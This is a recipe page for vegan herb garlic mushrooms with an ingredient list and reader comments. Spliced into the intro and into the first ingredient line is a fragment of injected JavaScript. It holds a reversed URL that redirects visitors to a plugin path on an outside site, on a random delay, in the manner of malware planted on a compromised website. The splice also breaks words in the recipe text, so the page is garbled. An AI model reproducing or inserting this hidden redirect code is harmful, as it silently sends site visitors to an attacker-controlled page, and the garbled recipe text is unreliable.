Herb Garlic Mushrooms #MeatFreeMonday | CaribbeanPot.com

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Get my cookbook @ Learn how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make vegan Herb Garlic Mushrooms in this episode of #MeatFreeMondays with host Chris De La Rosa of CaribbeanPot.com This simple mushroom dish is packed with deep flavors and rounded with butter and a hint of white wine.

For this classic vegetarian Garlic Mushrooms, you’ll need…

1 lb buttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton mushrooms
2 tablespoon olive oil
1 1/2 tablespoon butter
1 medium onion
3-5 cloves garlic (depends on how much you like garlic)
3-4 sprigs thyme
1 tablespoon parsley (chopped)
1/4 teaspoon salt
3-4 tablespoon white wine
1/4 teaspoon black pepper
1/4 teaspoon pepper flakes

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20 thoughts on “Herb Garlic Mushrooms #MeatFreeMonday | CaribbeanPot.com”

  1. Stephanie Maybin says:

    I liked this video within the first 15 seconds of your video! I'm a big fan of mushrooms too and this recipe looks so flavorful. I can't wait to try it. Thanks Chris!

  2. erb king says:

    Can you do a seafood boil recipe

  3. 4025maryjane says:

    This will work for me as a none meat dinner, they are delicious, also love the idea of the wine. Happy New Year Chris!!

  4. Shanice Margrete says:

    Looks great…Im gonna try it.

  5. Bob Loblaw says:

    Hey Chris- I thought that you'd be opt gallivanting in the South of France or something- no images from some paradise on earth yet this year?

  6. arabianprinceesa says:

    Got mushrooms in the fridge. Gonna make it tomorrow. Thanks.

  7. Liz V says:

    Just subscribed damn those mushrooms look sooooooooo gooood

  8. UriahNyah6 says:

    Keep the fire burning Kingman. Meat free Monday is the S*** !!!

  9. M. M. SCOTT says:

    Happy New Year Chris! I love mushroom too, and this sounds great. A friend of mine who is vegan is retiring later this month and I think I'm going to make this dish as one of the vegan entrees. So simple and quick. Thanks again keep them coming.

  10. Stephen Murle says:

    Go good with a steak

  11. Ericka J Stevens says:

    This recipe looks so delicious!!! I love mushrooms. They really are a great substitute for meat and poultry. Thank you for sharing.

  12. Lila W says:

    Looks delicious!

  13. Shameeza Singh says:

    Happy New year Chris
    Thanks so much for the recipe.lt looks yummy.

  14. Irene Sumbera says:

    Yum, shame this isn't smellevision

  15. B Wisdom says:

    You make me so hungry, I can smell it through the screen mi siempre encanta

  16. Nephie Selmar says:

    mmmm… looks yummy i wanna try this tommorow for lunch….

  17. Matt D says:

    Worried about the alcohol? It burns off when cooked…

  18. Sweetfan78 says:

    Happy New Year Chris. Enjoy these videos

  19. Alexandra Hill says:

    Can't wait to try this recipe, already bought the mushrooms. What do you recommend to serve with it?

  20. Josef says:

    The alcohol cooks off, why would anyone be worried about it?

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